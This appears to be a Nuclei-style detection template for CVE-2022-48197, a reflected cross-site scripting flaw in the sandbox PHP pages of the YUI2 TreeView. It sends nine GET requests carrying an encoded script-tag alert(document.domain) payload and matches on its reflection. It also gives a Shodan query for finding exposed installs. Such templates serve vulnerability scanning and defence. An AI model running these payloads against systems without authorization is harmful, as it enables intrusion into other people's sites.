id: CVE-2022-48197

info:
  name: Yahoo User Interface library (YUI2) TreeView v2.8.2 - Cross-Site Scripting
  author: ctflearner
  severity: medium
  description: |
    Reflected cross-site scripting (XSS) exists in the TreeView of YUI2 through 2800: up.php sam.php renderhidden.php removechildren.php removeall.php readd.php overflow.php newnode2.php newnode.php.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/51198
    - https://packetstormsecurity.com/files/171633/Yahoo-User-Interface-TreeView-2.8.2-Cross-Site-Scripting.html
    - https://nvd.nist.gov/vuln/detail/CVE-2022-48197
    - http://packetstormsecurity.com/files/171633/Yahoo-User-Interface-TreeView-2.8.2-Cross-Site-Scripting.html
    - https://github.com/ryan412/CVE-2022-48197/blob/main/README.md
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-48197
    cwe-id: CWE-79
    epss-score: 0.00139
    epss-percentile: 0.49252
    cpe: cpe:2.3:a:yui_project:yui:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 9
    vendor: yui_project
    product: yui
    shodan-query: html:"bower_components/yui2/"
  tags: packetstorm,yui2,cve,cve2022,xss,yahoo,treeview

http:
  - method: GET
    path:
      - "{{BaseURL}}/libs/bower/bower_components/yui2/sandbox/treeview/up.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"
      - "{{BaseURL}}/libs/bower/bower_components/yui2/sandbox/treeview/sam.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"
      - "{{BaseURL}}/libs/bower/bower_components/yui2/sandbox/treeview/renderhidden.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"
      - "{{BaseURL}}/libs/bower/bower_components/yui2/sandbox/treeview/removechildren.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"
      - "{{BaseURL}}/libs/bower/bower_components/yui2/sandbox/treeview/removeall.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"
      - "{{BaseURL}}/libs/libs/bower/bower_components/yui2/sandbox/treeview/readd.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"
      - "{{BaseURL}}/libs/bower/bower_components/yui2/sandbox/treeview/overflow.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"
      - "{{BaseURL}}/libs/bower/bower_components/yui2/sandbox/treeview/newnode2.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"
      - "{{BaseURL}}/libs/bower/bower_components/yui2/sandbox/treeview/newnode.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "1'\"()&%<zzz><script>alert(document.domain)</script>"
          - "widget.TreeView"
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

# digest: 490a0046304402205317634a5f142d59e61ab99bb98952ec550d0a70cbc2b0528e0978e39225b32302201924013b8045069de7f257abac58a9e5d9b5eda0c134a669a3da55f088006f06:922c64590222798bb761d5b6d8e72950